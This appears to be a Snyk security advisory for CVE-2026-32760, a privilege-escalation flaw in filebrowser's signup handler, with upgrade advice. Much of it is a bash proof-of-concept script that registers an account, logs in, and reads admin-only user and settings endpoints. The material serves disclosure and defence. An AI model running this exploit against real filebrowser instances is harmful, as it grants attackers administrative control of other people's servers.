Incorrect Privilege Assignment Affecting github.com/filebrowser/filebrowser/http package, versions <2.62.0
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMFILEBROWSERFILEBROWSERHTTP-15758915
- published23 Mar 2026
- disclosed20 Mar 2026
- creditfg0x0
Introduced: 20 Mar 2026
CVE-2026-32760 Â (opens in a new tab)How to fix?
Upgrade github.com/filebrowser/filebrowser/http to version 2.62.0 or higher.
Overview
Affected versions of this package are vulnerable to Incorrect Privilege Assignment in the signupHandler function. An attacker can gain full administrative privileges by registering a new account when self-registration is enabled and the default permissions include administrative rights.
Note:
This is only exploitable if self-registration (signup = true) is enabled and the default user permissions are configured with administrative access (perm.admin = true).
PoC
#!/bin/bash
TARGET="http://localhost:8080"
echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"
echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool